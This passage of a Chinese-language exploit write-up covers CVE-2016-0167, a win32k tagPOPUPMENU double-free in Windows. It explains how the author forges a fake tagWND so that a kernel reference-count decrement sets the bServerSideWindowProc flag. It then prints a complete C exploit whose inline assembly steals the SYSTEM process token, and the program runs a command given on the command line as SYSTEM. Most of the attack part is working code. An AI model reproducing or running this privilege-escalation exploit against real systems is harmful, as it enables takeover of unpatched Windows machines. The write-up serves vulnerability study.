payload[5] = (DWORD)g_spMem;//spmenu
payload[6] = (DWORD)g_spMem;//spmenuAlternate
payload[7] = (DWORD)g_spMem;//spwndActivePopup
payload[8] = (DWORD)-1;//ppopupmenuRoot
payload[9] = (DWORD)-1;//ppmDelayedFree
payload[0xA] = (DWORD)-1;//posSelectedItem
payload[0xB] = (DWORD)g_spMem;//posDropped
payload[0xC] = 0;
for (int i = 0; i < 0x100; i++) {
SetClassLongPtrW(g_hWndList[i], GCL_MENUNAME, (LONG)payload);
}
重点是对tagWND结构的伪造,也就是这里的g_spMem。
g_spMem = (PDWORD)LocalAlloc(LMEM_ZEROINIT, 0x100);
if (!g_spMem) {
printf("[!]Error:%d\n", __LINE__ - 2);
return 0;
}
...
PTHRDESKHEAD tagWndInUser = (PTHRDESKHEAD)HMValidateHandle(g_hAttackWnd, 1);
//tagWND->head.pti
((PTHRDESKHEAD)g_spMem)->pti = tagWndInUser->pti;
//tagWND->state
g_spMem[0x14 / 4] |=(DWORD)(1<18);
g_spNextPopupMenu = *(PBYTE*)((PBYTE)HMValidateHandle(g_hAttackWnd,1) + 0x10) + 0x12;
- 值得注意的是g_spNextPopupMenu的构造,为此我还特别请教了小刀大佬。我们最终的目的是利用漏洞获得内核级上下文执行的权限去执行我们的 A t t a c k P a y l o a d \textcolor{cornflowerblue}{AttackPayload} AttackPayload,而在一开始时, A t t a c k P a y l o a d \textcolor{cornflowerblue}{AttackPayload} AttackPayload就被设置为攻击窗口g_hAttackWnd的窗口处理程序了。内核在为tagWND做初始化的时候,其bServerSideWindowProc标志是未置位的,所以处于应用层的窗口处理程序均在用户进程上下文中执行。
int __stdcall xxxSendMessageTimeout(tagWND *pwnd, int message, int wParam, int lParam, unsigned int fuFlags, unsigned int uTimeout, LPLONG lpdwResult, PVOID Entry)
{
...
if ( (*(&pwnd->1 + 2) & 4) != 0 )//bServerSideWindowProc
{
IoGetStackLimits(&uTimeout, &fuFlags);
if ( &fuFlags - uTimeout < 0x1000 )
return 0;
result = pwnd->lpfnWndProc(pwnd, message_1, wParam, lParam);
if ( !lpdwResult )
return result;
*lpdwResult = result;
}
else
{
xxxSendMessageToClient(pwnd, message_1, wParam, lParam, 0, 0, &fuFlags);
...
}
...
}
正如以上代码所示,当系统或者用户进程向某个窗口对象发送消息时,内核都会判断bServerSideWindowProc标志,只有在置位的情况下才会在内核上下文中直接执行该窗口的处理程序 @line:9,否则在应用进程上下文中执行 @line:16。
上面所展示的构造语句中
∗ ( P B Y T E ∗ ) ( ( P B Y T E ) H M V a l i d a t e H a n d l e ( g _ h A t t a c k W n d , 1 ) + 0 x 10 ) + 0 x 12 \textcolor{orange}{*(PBYTE*)((PBYTE)HMValidateHandle(g\_hAttackWnd,1) + 0x10) + 0x12} ∗(PBYTE∗)((PBYTE)HMValidateHandle(g_hAttackWnd,1)+0x10)+0x12作为tagPOPUPMENU中的某一个tagWND指针,在内核执行 H M U n l o c k O b j e c t \textcolor{cornflowerblue}{HMUnlockObject} HMUnlockObject时,会对tagWND头部的引用计数减1:
HMUnlockObject(x)+8 dec dword ptr [eax+4]
此时的 [ e a x + 4 ] \textcolor{orange}{[eax+4]} [eax+4]相当于 ∗ ( P B Y T E ∗ ) ( ( P B Y T E ) H M V a l i d a t e H a n d l e ( g _ h A t t a c k W n d , 1 ) + 0 x 10 ) + 0 x 16 \textcolor{orange}{*(PBYTE*)((PBYTE)HMValidateHandle(g\_hAttackWnd,1) + 0x10) + 0x16} ∗(PBYTE∗)((PBYTE)HMValidateHandle(g_hAttackWnd,1)+0x10)+0x16,对应着tagWND的bDialogWindow标志,占一个bit位。仅看一个字节的话,则由以下这些标志组成:
bDialogWindow : Pos 16, 1 Bit
bHasCreatestructName : Pos 17, 1 Bit
bServerSideWindowProc : Pos 18, 1 Bit
bAnsiWindowProc : Pos 19, 1 Bit
bBeingActivated : Pos 20, 1 Bit
bHasPalette : Pos 21, 1 Bit
bPaintNotProcessed : Pos 22, 1 Bit
bSyncPaintPending : Pos 23, 1 Bit
初始时bDialogWindow、bHasCreatestructName、bServerSideWindowProc均为空,所以做了符号减法之后,这些标志位全变成了1,以此获得在内核上下文执行对应窗口处理程序的机会。我认为这是非常巧妙的一个地方,与Linux的Fastbin Attack中错位一个Size有着异曲同工之妙~
- 防止蓝屏
由于该漏洞会双重释放tagPOPUPMENU对象,而我们利用的是窗口类tagCLS中的lpszMenuName来重用tagPOPUPMENU对象的内存,所以在漏洞利用过程中 t a g C L S − > l p s z M e n u N a m e \textcolor{orange}{tagCLS->lpszMenuName} tagCLS−>lpszMenuName会被释放,如果不及时将释放后的lpszMenuName指针置空,则会在漏洞利用成功后关闭窗口时系统会再次释放lpszMenuName指向的内存,双重释放导致系统BSOD。
■ EXP
#include<stdio.h>
#include<stdlib.h>
#include<windows.h>
#define MN_OPENHIERARCHY 0x1E3
#define MN_SELECTFIRSTVALIDITEM 0x1E7
#define MN_SELECTITEM 0x1E5
#define WM_UNINITMENUPOPUP 0x125
#define MN_CANCELMENUS 0x01E6
#define WM_FREE_HEAP 0x1998
#define WM_ATTACK 0x1999
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define PROCESS_LINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
typedef struct _THRDESKHEAD {
HANDLE h;
DWORD cLockObj;
PVOID pti;
PVOID rpdesk;
PBYTE pSelf;
} THRDESKHEAD, * PTHRDESKHEAD;
typedef PVOID(__fastcall* HMValidateHandle_t)(HANDLE, UINT);
HMValidateHandle_t HMValidateHandle = 0;
static BOOLEAN g_bIsAttacked = FALSE;
static HHOOK g_hHook = 0;
static HWND g_hWndList[0x100] = { 0 };
static HMENU g_hRootMenu = 0;
static HMENU g_hSubMenu = 0;
static UINT g_Counts = 0;
static BOOLEAN g_bIsFirst = TRUE;
static HMENU g_hMenuDest = 0;
static HWND g_hAttackWnd = 0;
static HMENU g_MN_Sub = 0;
static HWND g_hWndMain = 0;
static PDWORD g_spMem = NULL;
static PDWORD g_spCls[0x100] = { 0 };
static PVOID g_spNextPopupMenu=0;
BOOLEAN Init() {
int offset = 0;
DWORD next_code = 0;
for (int i = 0; i < 0x100; i++) {
PUCHAR tr = (PUCHAR)IsMenu + i;
if (*tr == 0xE8)
{//找到调用HMValidateHandle的指令位置
offset = *(int*)((PCHAR)IsMenu + i + 1);
next_code = (DWORD)IsMenu + i + 5;
HMValidateHandle = (HMValidateHandle_t)(next_code + offset);
break;
}
}
if (!HMValidateHandle) {
printf("[!]Error: Can not find HMValidateHandle!\n");
return FALSE;
}
printf("[+]Found HMValidateHandle = 0x%p\n", HMValidateHandle);
return TRUE;
}
static
VOID
CALLBACK
WndEventProc(
HWINEVENTHOOK hWinEventHook,
DWORD event,
HWND hwnd,
LONG idObject,
LONG idChild,
DWORD idEventThread,
DWORD dwmsEventTime
) {
if (g_bIsAttacked)return;
if (g_Counts == 0) {
g_hRootMenu = (HMENU)hwnd;
printf("[+]g_hRootMenu = 0x%p\n", g_hRootMenu);
}
else if (g_Counts == 1) {
g_hSubMenu = (HMENU)hwnd;
printf("[+]g_hSubMenu = 0x%p\n", g_hSubMenu);
}
++g_Counts;
//模拟鼠标选择菜单项
SendMessageW(hwnd, MN_SELECTITEM, 0, 0);
SendMessageW(hwnd, MN_SELECTFIRSTVALIDITEM, 0, 0);
PostMessageW(hwnd, MN_OPENHIERARCHY, 0, 0);
}
VOID FakePopupMenu() {
DWORD payload[0xD] = { 0 };
payload[0] = ~(1 << 16);
payload[1] = (DWORD)g_spMem;//spwndNotify
payload[2] = (DWORD)g_spMem;//spwndPopupMenu
payload[3] = (DWORD)g_spNextPopupMenu;//spwndNextPopup
payload[4] = (DWORD)g_spMem;//spwndPrevPopup
payload[5] = (DWORD)g_spMem;//spmenu
payload[6] = (DWORD)g_spMem;//spmenuAlternate
payload[7] = (DWORD)g_spMem;//spwndActivePopup
payload[8] = (DWORD)-1;//ppopupmenuRoot
payload[9] = (DWORD)-1;//ppmDelayedFree
payload[0xA] = (DWORD)-1;//posSelectedItem
payload[0xB] = (DWORD)g_spMem;//posDropped
payload[0xC] = 0;
for (int i = 0; i < 0x100; i++) {
SetClassLongPtrW(g_hWndList[i], GCL_MENUNAME, (LONG)payload);
}
}
static LRESULT CALLBACK WndHookProc(INT code, WPARAM wParam, LPARAM lParam) {
PCWPSTRUCT spCwp = (PCWPSTRUCT)lParam;
if (!g_bIsAttacked) {
if (spCwp->message == WM_NCCREATE &&
g_hMenuDest == NULL &&
g_hRootMenu && !g_hSubMenu)
{
g_hMenuDest =(HMENU) spCwp->hwnd;
printf("[+]WM_NCCREATE\n");
printf("[+]g_hMenuDest = 0x%p\n", g_hMenuDest);
SendMessageW((HWND)g_hRootMenu, MN_CANCELMENUS, 0, 0);
PostMessageW(g_hWndMain, WM_FREE_HEAP, 0, 1);
}
else if (spCwp->message == WM_UNINITMENUPOPUP &&
g_bIsFirst &&
g_MN_Sub == (HMENU)spCwp->wParam) {
printf("[+]WM_UNINITMENUPOPUP\n");
g_bIsFirst = FALSE;
DestroyWindow((HWND)g_hMenuDest);
//构造popupmenu
FakePopupMenu();
}
}
return CallNextHookEx(g_hHook,code,wParam,lParam);
}
static LRESULT WINAPI MainWndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
if (msg == WM_FREE_HEAP) {
printf("[+]WM_FREE_HEAP\n");
DestroyWindow((HWND)g_hMenuDest);
SendMessageW(g_hAttackWnd, WM_ATTACK, 0, 0);
}
return DefWindowProcW(hwnd, msg, wParam, lParam);
}
static LRESULT CALLBACK AttackPayload(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
if (msg != WM_ATTACK || g_bIsAttacked)return (LRESULT)1;
USHORT cv = 0;
__asm {
mov ax,cs
mov cv,ax
}
if(cv==0x1B)return (LRESULT)1;
//首先做一下防止蓝屏的处理
for (int i = 0; i < 0x100; i++) {
*(PDWORD)((PBYTE)g_spCls[i] + 0x50) = 0;
}
__asm {
pushad; 保存堆栈状态
xor eax, eax
mov eax, fs: [eax + KTHREAD_OFFSET] ; 获取当前进程对象 _EPROCESS
mov eax, [eax + EPROCESS_OFFSET]
mov ebx, eax; ebx保存的是当前进程的_EPROCESS
mov ecx, SYSTEM_PID
; 开始搜索system进程的_EPROCESS
SearchSystemPID :
mov eax, [eax + PROCESS_LINK_OFFSET]
sub eax, PROCESS_LINK_OFFSET
cmp[eax + PID_OFFSET], ecx; 判断是否是system的PID
jne SearchSystemPID
; 如果是则开始将当前进程的TOKEN替换程system的TOKEN
mov edx, [eax + TOKEN_OFFSET]; 取得system的TOKEN
mov[ebx + TOKEN_OFFSET], edx; 替换当前进程的TOKEN
popad; 恢复堆栈状态
}
g_bIsAttacked = TRUE;
return (LRESULT)WM_ATTACK;
}
static DWORD WINAPI Exploit_Thread(LPVOID lParam) {
HMENU MN_Root = CreateMenu();
g_MN_Sub= CreateMenu();
AppendMenuA(MN_Root, MF_MOUSESELECT | MF_POPUP, (UINT_PTR)g_MN_Sub, "item");
AppendMenuA(g_MN_Sub, MF_MOUSESELECT | MF_POPUP, 0, "item");
printf("[+]MN_Root = 0x%p\n", MN_Root);
printf("[+]g_MN_Sub = 0x%p\n", g_MN_Sub);
WNDCLASSEXW wcs = { 0 };
wcs.cbSize = sizeof(WNDCLASSEXW);
wcs.lpfnWndProc = DefWindowProcW;
wcs.lpszMenuName = NULL;
wcs.cbWndExtra = 0;
wcs.hInstance = GetModuleHandleA(0);
//分配一个内存用来伪造tagWND结构体
g_spMem = (PDWORD)LocalAlloc(LMEM_ZEROINIT, 0x100);
if (!g_spMem) {
printf("[!]Error:%d\n", __LINE__ - 2);
return 0;
}
//创建256个窗口,为后面UFA做铺垫
for (int i = 0; i < 0x100; ) {
WCHAR wzClsName[0x20] = { 0 };
wsprintfW(wzClsName, L"%d", (i + 1) * 1998);
wcs.lpszClassName = wzClsName;
if (!RegisterClassEx(&wcs)) {
continue;
}
HWND hTmp = CreateWindowExW(
NULL ,
wzClsName,
NULL,
WS_OVERLAPPED,
0, 0, 1, 1, NULL, 0, GetModuleHandleA(0), 0
);
if (!hTmp) {
continue;
}
记录每个窗口的内核tagCls指针
g_spCls[i] = *(PDWORD*)((PBYTE)HMValidateHandle(hTmp, 1) + 0x64);
g_hWndList[i++] = hTmp;
}
wcs.lpfnWndProc = (WNDPROC)MainWndProc;
wcs.lpszClassName = L"Main";
if (!RegisterClassEx(&wcs)) {
printf("[!]Error:%d\n",__LINE__-1);
return 0;
}
//创建一个承载菜单的主窗口
g_hWndMain = CreateWindowExW(
WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
L"Main",
NULL,
WS_VISIBLE,
0,0,1,1,NULL,0,GetModuleHandleA(0),0
);
if (!g_hWndMain) {
printf("[!]Error:%d\n", __LINE__ - 2);
return 0;
}
//创建一个用于攻击的窗口
wcs.lpfnWndProc = (WNDPROC)AttackPayload;
wcs.lpszClassName = L"Attack";
wcs.cbWndExtra = 0;
if (!RegisterClassEx(&wcs)) {
printf("[!]Error:%d\n", __LINE__ - 2);
return 0;
}
g_hAttackWnd = CreateWindowExW(
WS_EX_LEFT,
L"Attack",
NULL,
WS_OVERLAPPED,
0, 0, 1, 1, NULL, 0, GetModuleHandleA(0), 0
);
if (!g_hAttackWnd) {
printf("[!]Error:%d\n", __LINE__ - 2);
return 0;
}
PTHRDESKHEAD tagWndInUser = (PTHRDESKHEAD)HMValidateHandle(g_hAttackWnd, 1);
//tagWND->head.pti
((PTHRDESKHEAD)g_spMem)->pti = tagWndInUser->pti;
//tagWND->state
g_spMem[0x14 / 4] |=(DWORD)(1<18);
g_spNextPopupMenu = *(PBYTE*)((PBYTE)HMValidateHandle(g_hAttackWnd,1) + 0x10) + 0x12;
//设置消息钩子
g_hHook = SetWindowsHookExW(WH_CALLWNDPROC, WndHookProc, GetModuleHandleA(0), GetCurrentThreadId());
//设置事件钩子程序
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,
GetModuleHandleA(NULL),
WndEventProc,
GetCurrentProcessId(),
GetCurrentThreadId(),
0);
TrackPopupMenuEx(MN_Root, 0, 0, 0, g_hWndMain, NULL);
MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0) && !g_bIsAttacked)
{
TranslateMessage(&msg);
DispatchMessageW(&msg);
}
return 1;
}
int main(int argc,char **argv) {
if (!Init()) {
printf("[!]Error:%d\n", __LINE__ - 1);
return 1;
}
//创建攻击线程
HANDLE hThread = CreateThread(0, 0, Exploit_Thread, 0, 0, 0);
if (!hThread) {
printf("[!]Error:%d\n",__LINE__-2);
return 1;
}
//等待攻击线程执行完毕
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
if (!g_bIsAttacked) {
printf("[*]Attack failed!\n");
return 1;
}
//攻击成功
printf("\n\n[*]Try execute %s as SYSTEM!\n", argv[1]);
system(argv[1]);
return 0;
}
■ 演示
0x7 参考
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0167
https://xiaodaozhi.com/exploit/135.html#comment-163